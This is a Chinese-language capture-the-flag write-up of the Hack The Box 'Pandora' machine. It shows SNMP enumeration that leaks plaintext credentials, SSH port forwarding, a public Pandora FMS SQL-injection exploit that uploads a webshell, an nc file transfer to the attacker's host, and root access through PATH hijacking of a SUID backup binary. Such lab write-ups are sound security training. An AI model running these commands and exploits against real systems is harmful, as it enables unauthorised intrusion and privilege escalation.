HTB Pandora 渗透测试详细记录
靶机介绍
名字 | Pandora |
---|---|
创建日期 | 08 Jan 2022 |
操作系统 | Linux |
难度 | Easy |
1. 初始侦察阶段
使用 nmap
对目标进行 TCP 和 UDP 端口扫描,以识别开放的服务。
└──╼ [★]$ sudo nmap -sT --min-rate 3000 10.129.137.175
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-13 03:32 CDT
Nmap scan report for 10.129.137.175
Host is up (0.0019s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
└──╼ [★]$ sudo nmap -sU --min-rate 3000 10.129.137.175
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-13 03:19 CDT
Nmap scan report for 10.129.137.175
Host is up (0.0051s latency).
Not shown: 994 open|filtered udp ports (no-response)
PORT STATE SERVICE
135/udp closed msrpc
161/udp open snmp
18234/udp closed unknown
19504/udp closed unknown
28465/udp closed unknown
49179/udp closed unknown
结果显示,目标开放了 TCP 22 (SSH), 80 (HTTP) 端口,以及 UDP 161 (SNMP) 端口。SNMP 服务可能是是一个突破口。
2. 服务探测与信息收集
利用 snmp-check
工具对 SNMP 服务进行信息枚举,使用常见的 community 字符串 public
。
sudo snmp-check 10.129.137.175 -c public
命令返回了海量信息,简单分析之后,可以得到以下内容
系统信息:
- 主机名: pandora
- 操作系统: Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64
- 用户名: Daniel
网络信息: 从 "TCP connections and listening ports" 和 "Listening UDP ports" 部分,我们可以看到系统开放了哪些端口:
- TCP 22: sshd - SSH 服务,用于远程登录。
- TCP 3306: mysqld (监听在 127.0.0.1) - MySQL/MariaDB 数据库服务。因为它只监听在本地回环地址,所以我们无法从外部直接访问,但可以作为本地提权后的攻击目标。
- TCP 80: 从进程列表中的 apache2 来看,很可能开放了 80 端口(HTTP)。
- UDP 161: snmpd - SNMP 服务,我们就是通过它获取的这些信息。
- UDP 68: dhclient - DHCP 客户端服务。
- UDP/TCP 53: (监听在 127.0.0.53) - 本地 DNS 解析服务
进程信息:
-
PID 974 & 1145: sh -c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'
这是一个计划任务或者脚本,它以明文形式暴露了一组凭证。 用户名: daniel 密码: HotelBabylon23 这组凭证有可能就是 daniel 用户在系统上的登录凭证。
-
PID 1006, 1043, 1044, ...: apache2 - 确认了 Web 服务器正在运行。
-
PID 1041: mysqld - 确认了数据库服务器正在运行。
-
PID 976: snmpd - SNMP 服务本身。
-
PID 1005: sshd - SSH 服务本身。
3. 漏洞识别与初始访问
利用从 SNMP 枚举中获得的凭证,通过 SSH 成功登录 daniel
用户。
ssh daniel@10.129.137.175
HotelBabylon23
登录后发现,当前用户权限不足,无法读取位于 /home/matt/
目录下的 user.txt
。
继续在服务器内部进行信息收集,发现 Apache 的一个虚拟主机配置文件 /etc/apache2/sites-enabled/pandora.conf
,该配置指向一个仅在本地 localhost:80
监听的 Pandora FMS 服务。
daniel@pandora:~$ ls
daniel@pandora:~$ pwd
/home/daniel
daniel@pandora:~$ cd ..
daniel@pandora:/home$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Dec 7 2021 .
drwxr-xr-x 18 root root 4096 Dec 7 2021 ..
drwxr-xr-x 4 daniel daniel 4096 Oct 13 08:47 daniel
drwxr-xr-x 2 matt matt 4096 Dec 7 2021 matt
daniel@pandora:/home$ whoami
daniel
daniel@pandora:/home$ cd matt/
daniel@pandora:/home/matt$ ls
user.txt
daniel@pandora:/home/matt$ cat user.txt
cat: user.txt: Permission denied
继续寻找别的信息
查看 /var/www/
目录
ls -al /var/www/
total 16
drwxr-xr-x 4 root root 4096 Dec 7 2021 .
drwxr-xr-x 14 root root 4096 Dec 7 2021 ..
drwxr-xr-x 3 root root 4096 Dec 7 2021 html
drwxr-xr-x 3 matt matt 4096 Dec 7 2021 pandora
html
目录的网站就是我们在浏览器中访问靶机 IP 地址时看到的那个,那另一个会是什么呢?
检查 Apache 配置文件
cat /etc/apache2/sites-enabled/pandora.conf
<VirtualHost localhost:80>
ServerAdmin admin@panda.htb
ServerName pandora.panda.htb
DocumentRoot /var/www/pandora
AssignUserID matt matt
<Directory /var/www/pandora>
AllowOverride All
</Directory>
ErrorLog /var/log/apache2/error.log
CustomLog /var/log/apache2/access.log combined
</VirtualHost>
这个web服务只监听 localhost 的 80 端口,想办法把这个端口转发出去。
转发端口有两种方法,一种是建立动态转发,参数是 -D,创建一个通用的socks 代理,另一种方法是直接建立本地转发,参数是 -L,一对一映射远程端口,用于访问远程网络中的特定服务。
我这里选择第二种,我只需要访问目标的80端口。
ssh -L 8081:localhost:80 daniel@10.129.137.175
访问 localhost:8081
查看页面底部会暴露 Pandora FMS 的版本,即 v7.0NG.742_FIX_PERL2020
在google 搜索这个 版本号,找到一个可用的 exp
https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated?tab=readme-ov-file
尝试利用exp
git clone https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated.git
cd Pandora_v7.0NG.742_exploit_unauthenticated/
python sqlpwn.py -t localhost:8081 -f webshell.php
URL: http://localhost:8081/pandora_console
[+] Sending Injection Payload
[+] Requesting Session
[+] Admin Session Cookie : 9kjkmojr8io7b2p836lj0ar33u
[+] Sending Payload
[+] Respose : 200
[+] Pwned :)
[+] If you want manual Control : http://localhost:8081/pandora_console/images/webshell.php?test=
CMD > whoami
matt
这里拿到了一个不太稳定的 matt 用户的 shell 权限,我这里的想法是写入ssh 公钥,然后通过私钥连接
先本地生成 ssh key
ssh-keygen -t rsa -b 4096 -N "" -f id_rsa
然后把 公钥 url编码
创建 .ssh 目录,并把公钥写入靶机
4. 横向移动&权限提升前的信息收集
使用 私钥 连接 靶机
ssh -i id_rsa matt@10.129.134.54
在靶机上查找所有设置了 SUID 位的文件
matt@pandora:~$ find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/pandora_backup
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/at
/usr/bin/fusermount
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
matt@pandora:~$ ls -al /usr/bin/pandora_backup
-rwsr-x--- 1 root matt 16816 Dec 3 2021 /usr/bin/pandora_backup
尝试执行这个文件,发现这是一个备份程序,主要用来 备份 PandoraFMS
matt@pandora:~$ /usr/bin/pandora_backup
[** SNIP **]
/var/www/pandora/pandora_console/vendor/egulias/email-validator/phpunit.xml.dist
/var/www/pandora/pandora_console/vendor/egulias/email-validator/LICENSE
/var/www/pandora/pandora_console/ws.php
Backup successful!
Terminating program!
把这个文件传送到本地,这里可以使用python启动一个http服务,或者使用nc,我这里选择 nc。
本地开始监听
nc -lnvp 1234 > pandora_backup
靶机开始传输
matt@pandora:~$ nc 10.10.14.36 1234 < /usr/bin/pandora_backup
通过 strings
命令对该二进制文件进行静态分析,发现它在执行备份时调用了 tar
命令,但使用的是相对路径而不是绝对路径 /bin/tar
。
strings pandora_backup
...
tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*
...
这是一个典型的 PATH 变量劫持漏洞。
5. 权限提升
利用 PATH 变量劫持漏洞进行提权。
- 在
matt
的主目录下创建一个名为tar
的恶意脚本,内容为启动一个交互式 shell (/bin/bash
)。 - 赋予该脚本可执行权限 (
chmod +x tar
)。 - 修改
PATH
环境变量,将当前目录 (/home/matt
) 添加到PATH
的最前面。 - 执行 SUID 程序
/usr/bin/pandora_backup
。
matt@pandora:~$ echo "/bin/bash" > tar
matt@pandora:~$ ls
tar user.txt
matt@pandora:~$ chmod +x tar
matt@pandora:~$ pwd
/home/matt
matt@pandora:~$ export PATH=/home/matt:$PATH
matt@pandora:~$ echo $PATH
/home/matt:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
matt@pandora:~$ /usr/bin/pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
root@pandora:~# id
uid=0(root) gid=1000(matt) groups=1000(matt)
root@pandora:~# cat /root/root.txt
*********************************
root@pandora:~# cat /home/matt/user.txt
.bash_history .bash_logout .bashrc .cache/ .profile .ssh/ tar user.txt
root@pandora:~# cat /home/matt/user.txt
*********************************
6. 攻击链路图
初始侦察 (tcp/udp端口扫描)
↓
udp服务分析 (snmp服务信息泄漏)
↓
发现明文凭据 (daniel:HotelBabylon23)
↓
建立立足点(ssh登录 daniel 用户)
↓
内部信息收集 (发现本地Pandora FMS服务)
↓
端口转发 ( SSH -L 访问内部服务)
↓
漏洞利用 ( Pandora FMS RCE)
↓
横向移动 (获取matt用户shell)
↓
提权前的信息收集 (发现SUID程序pandora_backup)
↓
漏洞识别(PATH变量劫持漏洞)
↓
提权(构造执行tar脚本)
Comments NOTHING